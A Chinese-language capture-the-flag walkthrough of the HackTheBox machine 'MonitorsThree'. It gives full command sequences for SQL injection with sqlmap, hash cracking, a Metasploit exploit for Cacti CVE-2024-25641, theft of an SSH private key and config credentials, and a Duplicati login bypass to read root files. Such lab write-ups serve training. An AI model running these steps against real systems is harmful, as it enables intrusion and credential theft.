MonitorsThree(HTB Medium)
基本信息
- IP:
10.10.11.30 - VPN:
10.10.16.15 - 域名:
monitorsthree.htb/cacti.monitorsthree.htb
信息收集
nmap -sC -sV -Pn -T4 -p- -oN AllPorts.nmap 10.10.11.30
rustscan -a 10.10.11.30 -- -sCTV
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: MonitorsThree - Networking Solutions
forgot_password.php 有 SQL 注入特征 '。
dirsearch -u http://monitorsthree.htb
/admin 403
/login.php 200
子域名:
git clone --depth 1 https://github.com/danielmiessler/SecLists.git
ffuf -w ./subdomains-top1million-5000.txt -u http://monitorsthree.htb/ -H "Host: FUZZ.monitorsthree.htb" -mc 302
发现 cacti.monitorsthree.htb。Cacti 登录页无注入,回到主站 forgot_password,Burp 存包后 sqlmap:
sqlmap -r sql.txt --dbs
sqlmap -r sql.txt -D monitorsthree_db --tables
sqlmap -r sql.txt -D monitorsthree_db -T users -C username,email,password,name --dump
Marcus Higgins [email protected] 31a181c8372e3afc59dab863430610e8 admin
爆破密码:greencacti2001,进入 Cacti 后台。
User
Metasploit 打 CVE-2024-25641:
use multi/http/cacti_package_import_rce
set lhost tun0
set rhosts http://cacti.monitorsthree.htb
set password greencacti2001
set target 1
exploit
python3 -c 'import pty;pty.spawn("/bin/bash")'
find / -name "config.php" 2>/dev/null
cat /var/www/html/cacti/include/config.php
$database_username = 'cactiuser';
$database_password = 'cactiuser';
mysql -h localhost -ucactiuser -p
use cacti;
select * from user_auth;
marcus | $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK
hashcat -m 3200 '$2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK' /usr/share/wordlists/rockyou.txt
12345678910
su marcus
cat user.txt
cat ~/.ssh/id_rsa
本机:
vim id_rsa_marcus
chmod 600 id_rsa_marcus
ssh -i id_rsa_marcus [email protected]
Root
netstat -tulpn | grep LISTEN
127.0.0.1:8200
ssh -L 8200:127.0.0.1:8200 -i id_rsa_marcus -N [email protected]
8200 是 Duplicati,有登录。参考 server-passphrase 绕过。
find / -name '*.sqlite' 2>/dev/null
scp -i id_rsa_marcus [email protected]:/opt/duplicati/config/Duplicati-server.sqlite ./
option 表里有 server-passphrase、server-passphrase-salt。前端校验:
var saltedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Utf8.parse($('#login-password').val()) + CryptoJS.enc.Base64.parse(data.Salt)));
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse(data.Nonce) + saltedpwd)).toString(CryptoJS.enc.Base64);
Nonce 每次变、salt 不变。把 sqlite 里的 passphrase 解成 hex,在浏览器里用 Nonce 算出 noncedpwd。Burp 拦截登录包,把 password 换成该值并 URL 编码后放行。
登录后 Add backup:
- General:随便起名,不要加密
- Destination:
/source/home/marcus - Source Data:
/source/root/root.txt - Schedule / Options:下一步
Home 点 now,Restore 到 /source/home/marcus。SSH 进 marcus 目录即可读到 root.txt。
至此已经获取机器全部权限。